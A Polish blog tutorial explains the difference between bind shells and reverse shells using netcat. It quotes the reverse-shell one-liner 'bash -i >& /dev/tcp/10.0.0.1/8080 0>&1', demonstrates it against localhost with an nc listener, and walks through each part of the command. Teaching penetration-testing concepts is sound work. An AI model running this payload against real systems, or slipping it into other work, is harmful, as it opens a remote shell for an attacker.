Podstawowe koncepcje security, czyli Bind Shell i Reverse Shell

Aby lepiej zrozumieć koncepcje niniejszego artykułu, musimy zacząć od podstaw. W systemach unixowych polecenie cat służy do łączenia plików oraz kierowania ich zawartości na standardowe wyjście, czyli wyświetlania ich na ekranie. Z kolei netcat jest narzędziem umożliwiającym połączenia TCP lub UDP między dwoma komputerami, co oznacza, że może przesyłać oraz czytać pliki przez otwarty port. W niektórych przypadkach zdarza się, że jest możliwe poprzez netcat wykonywanie poleceń. Stąd jego nazwa – połącznie net i cat.

Z punktu testów penetracyjnych najbardziej użyteczną funkcjonalnością netcata jest używanie reverse shells oraz bind shells. Ale czym tak na prawdę one są?

Bind shell

Koncepcja bind shell polega na tym, że maszyna atakującego działa jako klient, a maszyna ofiary działa jako serwer, który otwiera port komunikacyjny i czeka aż klient (atakujący) się do niego podłączy, a następnie wyda komendy, które zostaną wykonane zdalnie na maszynie ofiary.

Aby było to możliwe, maszyna ofiary musiałaby mieć publiczne IP lub atakujący i zdalny host musieliby się znajdować w tej samej podsieci IP, lub w podsieciach, które są bezpośrednio kierowane do siebie bez żadnej formy translacji adresów sieciowych (NAT) między nimi. Taki wymóg istnieje, ponieważ atakujący musi być w stanie skierować netcat bezpośrednio na adres IP maszyny w celu dostania odpowiedzi.

Reverse shell

Jak sama nazwa wskazuje, jest to odwrotność bind shell. W tym przypadku maszyna atakującego (która posiada publiczne IP) pełni rolę serwera, który ma otwarty kanał komunikacyjny na danym porcie i oczekuje na połączenia przychodzące. Maszyna ofiary zachowuje się jak klient i inicjuje połączenie z serwerem atakującego, który nasłuchuje.

W cheatsheecie dotyczącym reverse shella możemy znaleźć kilka payloadów używanych do utworzenia połączenia. Do jednego z nich należy:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Spróbujmy utworzyć (niebezpieczną) powłokę na localhoscie (zamiast 10.0.0.1). Na początek w pierwszej powłoce należy otworzyć port TCP o numerze 8080 na nasłuchiwanie na połączenie.

nc localhost -lp 8080

Teraz użyjemy wcześniejszy payload, który służy do przekierowania streamu IO do gniazda TCP. W tym celu otwieramy drugą powłokę i tam uruchamiamy poniższe polecenie.

bash -i >& /dev/tcp/localhost/8080 0>&1

Przeanalizujmy payload od początku.

  • bash -i – Z dokumentacji możemy się dowiedzieć, że: Jeśli opcja -i jest wybrana, powłoka jest interaktywna,
  • >& – przekierowanie stdout i stderr do wskazanego miejsca,
  • /dev/tcp/localhost/8080 – jest to argument dla >&. Wskazuje na połączenie klienta TCP z localhostem o porcie 8080,
  • 0>&1 – przekierowuje deskryptor pliku stdin na stdout, dzięki czemu otwarte gniazdo TCP służy do odczytu danych wejściowych.

Jeśli wszystko wyszło poprawnie, w pierwszej powłoce powinniśmy mieć otworzony prompt.

Podsumowanie

Zbierając wszystko w całość – możemy powiedzieć, że w przypadku bind shell to atakujący inicjuje połączenie, kiedy w przypadku reverse shell to target je inicjuje. W bind shellu zdalny host działa jako serwer, a nasza maszyna jako klient. Z kolei w reverse shell nasz komputer działa jako serwer, a zdalny host jest klientem.

Źródła

https://www.mvps.net/docs/what-is-netcat-and-how-to-use-it/
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://stackoverflow.com/questions/35271850/what-is-a-reverse-shell

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *